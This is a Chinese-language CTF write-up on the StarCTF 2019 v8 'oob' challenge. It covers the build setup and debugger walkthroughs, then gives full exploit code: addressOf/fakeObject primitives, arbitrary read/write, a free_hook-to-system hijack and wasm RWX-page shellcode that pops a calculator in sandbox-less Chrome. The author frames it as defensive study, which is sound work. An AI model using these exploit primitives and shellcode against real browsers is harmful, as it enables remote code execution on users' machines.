银雁冰 @猎影实验室
前言
从2019年开始,与Chrome相关的在野0day披露开始增多,仅笔者所知的有如下几个:
CVE编号 | 发现厂商 |
---|---|
CVE-2019-5786 | |
CVE-2019-13720 | Kaspersky |
CVE-2020-6418 |
作为对比,2014-2018年被厂商披露的Chrome在野0day数量为0,上述数据表明接下来会有更多的Chrome在野0day出现。
站在防守方的角度,一旦预感到某种类型的漏洞接下来会出现,就应该提前对相关领域进行研究,以降低未来应急响应的门槛。基于此,笔者决定挑一个例子上手Chrome下的漏洞调试。
那么,选择哪个漏洞比较好呢?一番对比后,笔者选了2019年StarCTF的一道v8 off-by-one的题,这个例子满足如下条件:
- 题目较新,一般来说出题者的思路即会反映该领域研究人员的较新研究方向
- 漏洞原理较为简单,利用手法比较常规,实践起来比较容易
- 网上有较多质量较高的Writeup
调试环境搭建
阅读若干Writeup后,笔者决定在Ubuntu 18.04 64位环境调试这个漏洞。
科学上网
要调试这类漏洞,首先需要下载v8源码到本地,这个过程需要进行科学上网。相关操作笔者参考了Migraine的文章。配置好科学上网工具后,使用depot_tools fetch v8代码前,请不要忘记在当前终端设置以下两句(端口因设置而异),不然会提示一些文件未找到的错误:
export https_proxy=http://127.0.0.1:12333
export http_proxy=http://127.0.0.1:12333
下载v8代码到本地后,继续进行调试环境构建,以便于辅助调试,笔者着重构建的几点是:
- pwndbg的安装
- v8源码中提供的gdb插件gdb-v8-support.py的安装(可参考Migraine的文章),里面的job命令可以结构化打印对象
- Turbolizer工具的搭建,此工具对于当前漏洞用处不大,但对涉及到jit的漏洞调试比较有帮助(可参考mem2019的文章)
以下为该题给出的提示:
Yet another off by one
$ nc 212.64.104.189 10000
the v8 commits is 6dc88c191f5ecc5389dc26efa3ca0907faef3598.
构建完上述环境后,切换到相应分支,再次执行gclient sync同步代码,打上diff文件,随后就可以编译本题所需v8引擎了:
fetch v8
cd v8
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync -D
git apply < /home/test/Desktop/oob.diff
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
以上命令编译得到一个debug版本的v8,编译得到的可执行文件为d8,运行d8时,—allow-natives-syntax 选项定义了一些v8运行时支持函数,以便于本地调试,配合—allow-natives-syntax 选项,我们可以在js源码中增加若干调用以辅助调试,比较有用的两个调用是:
%DebugPrint(obj) // 输出对象地址
%SystemBreak() // 触发调试中断,结合调试器使用
编译选项
本案例中的漏洞可以在debug或release版本下复现,但Writeup给出的利用只能在release版本执行。为了既能调试整个利用过程,又能使用gdb-v8-support.py插件的job等命令,笔者选择编译一个添加了编译选项的release版本,具体地,在编译release版本前,在out.gn/x64.release/args.gn文件中增加以下编译选项:
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
编译完成后,即可用调试器启动release版本的d8,基本调试操作如下:
cd /home/test/v8/out.gn/x64.release
gdb ./d8 // 安装pwndbg之后,启动gdb时会自动启动pwndbg
set args --allow-natives-syntax /home/test/Desktop/test/poc.js
r // run
c // continue
漏洞调试
Diff文件分析
这部分请参考《从一道CTF题零基础学V8漏洞利用》这篇文章,里面已经分析得很详细,本文从略。从diff文件中我们可以看到打完补丁的v8源码中存在一个off by one问题,可以在此基础上实现越界读/写,继而实现类型混淆。
PoC构造
知道问题所在后,即可构造PoC,并在调试器中进行验证,这里直接借用《从一道CTF题零基础学V8漏洞利用》这篇文章中给出的PoC,如下:
var a = [1, 2, 3, 1.1];
%DebugPrint(a);
%SystemBreak(); // <- 断点(1)
var data = a.oob(); // 验证越界读
console.log("[*] oob return data:" + data.toString());
%SystemBreak(); // <- 断点(2)
a.oob(2); // 验证越界写
%SystemBreak();
在调试器中看相关结构
将上述代码保存为oob.js文件,用gdb启动之,在断点(1),观察一下数组a的结构:
pwndbg> r
Starting program: /home/test/v8/out.gn/x64.release/d8 --allow-natives-syntax /home/test/Desktop/exp/poc/oob.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7efd78970700 (LWP 33522)]
[New Thread 0x7efd7816f700 (LWP 33523)]
[New Thread 0x7efd7796e700 (LWP 33524)]
[New Thread 0x7efd7716d700 (LWP 33525)]
[New Thread 0x7efd7696c700 (LWP 33526)]
[New Thread 0x7efd7616b700 (LWP 33527)]
[New Thread 0x7efd7596a700 (LWP 33528)]
0x294872acde69 <JSArray[4]>
...
pwndbg> job 0x294872acde69
0x294872acde69: [JSArray]
- map: 0x0e81fe702ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x100de9751111 <JSArray[0]>
- elements: 0x294872acde39 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x04dff3640c71 <FixedArray[0]> {
#length: 0x1d7f06ac01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x294872acde39 <FixedDoubleArray[4]> {
0: 1
1: 2
2: 3
3: 1.1
}
pwndbg> job 0x294872acde39
0x294872acde39: [FixedDoubleArray]
- map: 0x04dff36414f9 <Map>
- length: 4
0: 1
1: 2
2: 3
3: 1.1
要注意在v8中打印出的对象地址是实际地址+1,原因在《v8利用入门:从越界访问到RCE》这篇文章中有说到:
为了加快垃圾回收的效率需要区分number和指针,v8的做法是使用低位为标志位对它们进行区分。由于32位、64位系统的指针会字节对齐,指针的最低位一定为0,v8利用这一点最低位为1视为指针,最低位为0视为number,smi在32位系统中只有高31位是有效数据位。
所以数组a在内存中的实际地址应该是0x294872acde68,来验证一下:
pwndbg> telescope 0x294872acde69-1
00:0000│ 0x294872acde68 —▸ 0xe81fe702ed9 ◂— 0x4000004dff36401
01:0008│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408
02:0010│ 0x294872acde78 —▸ 0x294872acde39 ◂— 0x4dff36414
03:0018│ 0x294872acde80 ◂— 0x400000000
04:0020│ 0x294872acde88 ◂— 0x0
从上面的输出可以看到存储在0x294872acde68的即为0xe81fe702ed9,对应job命令输出的map值。
还可以注意到的一个有趣的现象是PoC中数组a的elements对象地址位于a对象之前的0x30,且这两个对象是紧邻的:
pwndbg> telescope 0x294872acde39-1
00:0000│ 0x294872acde38 —▸ 0x4dff36414f9 ◂— 0x4dff36401
01:0008│ 0x294872acde40 ◂— 0x400000000
02:0010│ 0x294872acde48 ◂— 0x3ff0000000000000 // 1的64位浮点数表示形式
03:0018│ 0x294872acde50 ◂— 0x4000000000000000 // 2的64位浮点数表示形式
04:0020│ 0x294872acde58 ◂— 0x4008000000000000 // 3的64位浮点数表示形式
05:0028│ 0x294872acde60 ◂— 0x3ff199999999999a // 1.1的64位浮点数表示形式
06:0030│ 0x294872acde68 —▸ 0xe81fe702ed9 ◂— 0x4000004dff36401 // 数组a的map
07:0038│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408
浮点数在内存中的表示
在v8中,浮点数在64位内存中的表现形式遵循IEEE 754 64位存储格式,具体如下:
1(符号位) + 11(指数部分) + 52(尾数部分) // 左为高bit,右为低bit
关于IEEE 754 64位的更多细节读者可自行上网查阅,为了便于转换调试器输出的浮点值到普通表示形式,可以编写如下的python脚本进行转换:
import binascii
import struct
hex_list_64 = ['3ff0000000000000', '4000000000000000', '4008000000000000', '3ff199999999999a']
for value in hex_list_64:
print(struct.unpack('>d', binascii.unhexlify(value)))
// 转换输出如下
(1.0,)
(2.0,)
(3.0,)
(1.1,)
越界读取
在调试器中输入c,继续运行PoC代码,断下后再次进行观察:
pwndbg> c
Continuing.
[*] oob return data:7.881079421936e-311
7.881079421936e-311是什么呢?如果我们将数组a的map值转化为64位浮点数,可以得到如下输出:
import binascii
import struct
hex_list_64 = ['00000e81fe702ed9']
for value in hex_list_64:
print(struct.unpack('>d', binascii.unhexlify(value)))
// 转换输出如下
(7.881079421936e-311,)
可以看到,PoC中借助漏洞越界读取了elements对象后面的8字节,而这8字节正是数组a的map指针。
越界写入
在调试器中再次输入c,继续运行PoC代码,断下后再次进行观察:
pwndbg> telescope 0x294872acde39-1
00:0000│ 0x294872acde38 —▸ 0x4dff36414f9 ◂— 0x4dff36401
01:0008│ 0x294872acde40 ◂— 0x400000000
02:0010│ 0x294872acde48 ◂— 0x3ff0000000000000
03:0018│ 0x294872acde50 ◂— 0x4000000000000000
04:0020│ 0x294872acde58 ◂— 0x4008000000000000
05:0028│ 0x294872acde60 ◂— 0x3ff199999999999a
06:0030│ 0x294872acde68 ◂— 0x4000000000000000 <- 可以看数组a的map指针被改写了
07:0038│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408
可以看到相邻的数组a的map指针被改写了,改写后的值为数值2对应的64位浮点数表示形式。
通过对上述PoC的调试,可以看到,借助该漏洞可以读写一个数组对象的map指针,由于v8依赖map类型对js对象进行解析(这部分的相关细节网上有详解,此处不再过多展开),所以可以借助该漏洞对一个数组对象的map指针进行改写,从而产生类型混淆。
利用编写
借助上述类型混淆可以将一个浮点数组转变为一个对象数组,反过来也可以,在此基础上可构造任意地址泄露和任意地址写入两个原语。
任意地址泄露
首先构造任意地址泄露原语。这个比较简单,首先定义一个对象数组,将待泄露的对象地址保存到这个对象数组,随后借助漏洞改写对象数组的map指针,使其变为一个浮点数组。随后从“浮点数组”中读取对象指针。
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map);
return obj_addr;
}
需要注意的是,泄露出来的对象指针是64位浮点数形式,先要将其转换为64位整数形式,然后减1。1后面加n是让其变成64位的BigInt,否则运算时会提示类型不一致。
将浮点数转为整数需要定义一个f2i函数,这个函数的基本思路是定义一个ArrayBuffer对象,随后同时用其初始化一个Float64Array数组和一个BigUint64Array数组,通过用两个数组操作同一片内存,实现64位浮点数与64位整数之间的转换,后面的i2f同理:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
任意对象伪造
任意对象伪造的思路和任意地址泄露的思路一致。先布局一块内存,然后将该内存的首地址传入一个浮点数组,接着利用漏洞将该浮点数组的map改写为对象数组的map,最后将伪造的地址以对象的形式进行读取:
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map);
return faked_obj;
}
任意地址读写
有了任意地址泄露和任意对象伪造两个原语后,理论上就可以实现代码执行了,大部分Writeup中的思路是先借助上述两个原语实现任意地址读写,采用的思路是构造一个fake_array如下:
var fake_array = [
float_array_map, // map
i2f(0n), // prototype
i2f(0x41414141n), // elements
i2f(0x1000000000n), // length
1.1,
2.2,
];
《从一道CTF题零基础学V8漏洞利用》这篇文章里面有提到,如果fake_array在构造时没有最后两个properties,相关结构会在内存中发生变化,本文不对其中细节进行深究,直接采用有6个成员的fake_array。
构造完fake_array后,我们先在内存中看一下其结构:
// fake_array
pwndbg> job 0x1744cd9cf9c9
0x1744cd9cf9c9: [JSArray]
- map: 0x264dae342ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x22ccc9151111 <JSArray[0]>
- elements: 0x1744cd9cf989 <FixedDoubleArray[6]> [PACKED_DOUBLE_ELEMENTS]
- length: 6
- properties: 0x3a07f47c0c71 <FixedArray[0]> {
#length: 0x11556e8001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x1744cd9cf989 <FixedDoubleArray[6]> {
0: 2.08076e-310
1: 0
2: 5.40901e-315
3: 3.39519e-313
4: 1.1
5: 2.2
}
// fake_array.elements
pwndbg> job 0x1744cd9cf989
0x1744cd9cf989: [FixedDoubleArray]
- map: 0x3a07f47c14f9 <Map>
- length: 6
0: 2.08076e-310
1: 0
2: 5.40901e-315
3: 3.39519e-313
4: 1.1
5: 2.2
pwndbg> telescope 0x1744cd9cf989-1
00:0000│ 0x1744cd9cf988 —▸ 0x3a07f47c14f9 ◂— 0x3a07f47c01
01:0008│ 0x1744cd9cf990 ◂— 0x600000000
02:0010│ 0x1744cd9cf998 —▸ 0x264dae342ed9 ◂— 0x400003a07f47c01
03:0018│ 0x1744cd9cf9a0 ◂— 0x0
04:0020│ 0x1744cd9cf9a8 ◂— 0x41414141 /* 'AAAA' */
05:0028│ 0x1744cd9cf9b0 ◂— 0x1000000000
06:0030│ 0x1744cd9cf9b8 ◂— 0x3ff199999999999a
07:0038│ 0x1744cd9cf9c0 ◂— 0x400199999999999a
// 可以看到fake_array.elements在前,大小为0x40字节,第一个element值相对头部偏移为+0x10
// fake_array紧邻fake_array.elements,其头部相对fake_array.elements头部偏移为+0x40
pwndbg> p/x 0x1744cd9cf9c9-0x1744cd9cf989
$1 = 0x40
Writeup中用来构造任意地址读写原语的思路是这样的:借助任意地址泄露原语计算得到fake_array的第一个元素在内存中的基地址,然后借助任意对象伪造原语将该地址处开始的内存伪造为一个faked_object,此时数据结构之间的对应关系如下(下图主要参考《从一道CTF题零基础学V8漏洞利用》这篇文章):
从上图可知,得到伪造的对象后,只要修改fake_array[2],就可以控制faked_object的elements成员,在修改elements后,再对faked_object进行读写,就可以读写elements指针指向处的内存,这样就具备了任意地址读写能力,在此基础上封装两个原语即可:
var fake_array = [
float_array_map, // map
i2f(0n), // prototype
i2f(0x41414141n), // elements
i2f(0x1000000000n), // length
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var faked_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let read_data = f2i(faked_object[0]);
console.log("[*] read from: 0x" + hex(addr) + " : 0x" + hex(read_data));
return read_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
faked_object[0] = i2f(data);
console.log("[*] write to: 0x" + hex(addr) + ": 0x" + hex(data))
}
有了任意地址读写原语后,接下来的操作就比较简单了。笔者在此基础上实践了两种方法:
- 泄露libc地址,劫持free_hook为system,调用相关函数,传入命令行实现代码执行
- 找到wasm的代码页指针,将shellcode拷贝到此代码页,调用wasm接口实现代码执行
代码执行:劫持free_hook
如何劫持free_hook呢?首先要泄露d8模块基址。这里笔者采用的是《从一道CTF题零基础学V8漏洞利用》这篇文章中介绍的稳定泄露的方法,具体步骤读者可以参考那篇文章:
var a = [1.1, 2.2, 3.3];
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
上述代码泄露了d8模块里面的一个指针,接着需要根据该指针计算得到d8模块的基址,作为一个初学者,笔者在实践的过程中,发现所有文章都对这一步骤一笔带过,这里简述笔者采用的方法:
先按照《从一道CTF题零基础学V8漏洞利用》的方法在调试器中进行查找,某次定位到leak_d8_addr为0x561083f56780,用vmap命令显示该地址的相关信息,输出中最前面有一个0x561083607000,这个函数即为d8模块的_start
函数在内存中的地址:
pwndbg> vmmap 0x561083f56780
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x561083607000 0x5610841df000 r-xp bd8000 642000 /home/test/v8/out.gn/x64.release/d8
通过以下步骤即可计算得到d8基址:
- 计算在内存中leak_d8_addr相对于
_start
的偏移,记为offset1 - 在IDA中计算得到
_start
相对于d8基址的偏移,记为offset2 - d8基址 = leak_d8_addr – offset1 – offset2
下面为笔者某次实践中对应的相关偏移,及相关计算过程:
// _start 0x561083607000
// leak_d8_addr = 0x561083f56780
// leak_d8_addr - _start = 0x94F780
// _start - leak_d8_addr = 0x642000
// leak_d8_addr - base = 0x642000 + 94F780 = 0xF91780
var d8_base_addr = leak_d8_addr - 0xF91780n;
console.log("[*] d8_base_addr: 0x" + hex(d8_base_addr));
泄露得到d8模块基址后,先在d8模块中定位_start
函数,找到该函数中使用的__libc_start_main_ptr函数指针:
// 由d8的导出表定位到_start函数
.text:0000000000642000 public _start
.text:0000000000642000 _start proc near
.text:0000000000642000 ; __unwind {
.text:0000000000642000 31 ED xor ebp, ebp
.text:0000000000642002 49 89 D1 mov r9, rdx ; rtld_fini
.text:0000000000642005 5E pop rsi ; argc
.text:0000000000642006 48 89 E2 mov rdx, rsp ; ubp_av
.text:0000000000642009 48 83 E4 F0 and rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000064200D 50 push rax
.text:000000000064200E 54 push rsp ; stack_end
.text:000000000064200F 4C 8D 05 2A 6A BD+lea r8, __libc_csu_fini ; fini
.text:0000000000642016 48 8D 0D B3 69 BD+lea rcx, __libc_csu_init ; init
.text:000000000064201D 48 8D 3D 6C 2F 01+lea rdi, main ; main
.text:0000000000642024 FF 15 76 B7 C2 00 call cs:__libc_start_main_ptr
.text:000000000064202A F4 hlt
.text:000000000064202A ; } // starts at 642000
.text:000000000064202A _start endp
// 由上面的函数指针定位到got表中的相关项
.got:000000000126D7A0 __libc_start_main_ptr dq offset __libc_start_main
.got:000000000126D7A0 ; DATA XREF: _start+24↑r
得到d8基址和__libc_start_main
的offset后,就可以在代码中读取内存中的libc_start_main_addr函数地址,接着通过IDA计算得到libc_start_main相对于libc-2.27.so基地址的偏移,这样我们就可计算得到libc库在内存中的基址。随后在其导出表查找free_hook、system这两个函数的偏移,并加上libc在内存中的基址,就可得到free_hook、system两个函数在内存中的地址。
// __libc_start_main_ptr in d8
var d8_got_libc_start_main_addr = d8_base_addr + 0x126d7a0n;
var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
console.log("[*] find libc_start_main_addr: 0x" + hex(libc_start_main_addr));
var libc_base_addr = libc_start_main_addr - 0x21AB0n;
var lib_system_addr = libc_base_addr + 0x4F440n;
var libc_free_hook_addr = libc_base_addr + 0x3ED8E8n;
console.log("[*] find libc libc_base_addr: 0x" + hex(libc_base_addr));
console.log("[*] find libc lib_system_addr: 0x" + hex(lib_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
找到上述信息后,理论上借助任意地址写原语将free_hook的地址修改为system的地址即可,但实践时发现write64这个原语无法正确完成写入,多篇分析文章已就这个问题进行讨论,解决办法是再借助DataView对象封装另一个任意地址写原语:
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function write64_dataview(addr, data)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
console.log("[*] write(use dataview) to: 0x" + hex(addr) + ": 0x" + hex(data));
}
此时就可以劫持free_hook并实现代码执行了:
write64_dataview(libc_free_hook_addr, lib_system_addr);
console.log("[*] Write ok.");
console.log("gnome-calculator");
效果如下:
代码执行:wasm
相比较之前的方法,wasm方法只需要很少的硬编码,也无需借助DataView再构造一个写原语,许多Writeup中已经对该种方法进行详细说明,本文不再过多叙述:
ar wasmCode = new Uint8Array([略]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x08n) - 1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
function copy_shellcode(addr, shellcode)
{
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addressOf(buf);
let backing_store_addr = buf_addr + 0x20n;
write64(backing_store_addr, addr);
for(let i = 0; i < shellcode.length; i++)
{
dataview.setUint32(4*i, shellcode[i], true);
}
}
// https://xz.aliyun.com/t/5003
var shellcode = [
0x90909090,
0x90909090,
0x782fb848,
0x636c6163,
0x48500000,
0x73752fb8,
0x69622f72,
0x8948506e,
0xc03148e7,
0x89485750,
0xd23148e6,
0x3ac0c748,
0x50000030,
0x4944b848,
0x414c5053,
0x48503d59,
0x3148e289,
0x485250c0,
0xc748e289,
0x00003bc0,
0x050f00
];
console.log("[*] Copying xcalc shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[*] Popping calc");
f();
对上述代码中的shellcode注解如下:
这种方法可以更为简单地实现代码执行,效果如下:
Chrome下的代码执行
题目原材料中给了一个对应的Chrome程序,写一个index.html脚本调用上述rce_wasm.js文件,以—no-sandbox模式启动该Chrome,打开index.html,即可在Chrome中实现代码执行:
写在最后
借助本次实践,笔者初步上手了Linux下v8的漏洞调试,包括源码下载、环境搭建、漏洞成因调试和漏洞利用编写,以及对gdb、pwndbg下相关调试指令的熟悉。近年来各大CTF中与v8有关的题目越来越多,网上的学习资料也开始增多,希望此文对读者上手该领域也有一定帮助。
参考资料
主要参考:
题目资料下载
官方Writeup材料
v8 Base
从一道CTF题零基础学V8漏洞利用
StarCTF 2019 (*CTF) oob 初探V8漏洞利用
其他资料:
Chrome v8 exploit – OOB
*CTF2019 OOB-v8 Writeup
star ctf Chrome oob Writeup
*CTF 2019 – Chrome oob-v8
v8利用入门:从越界访问到RCE
Exploiting v8: *CTF 2019 oob-v8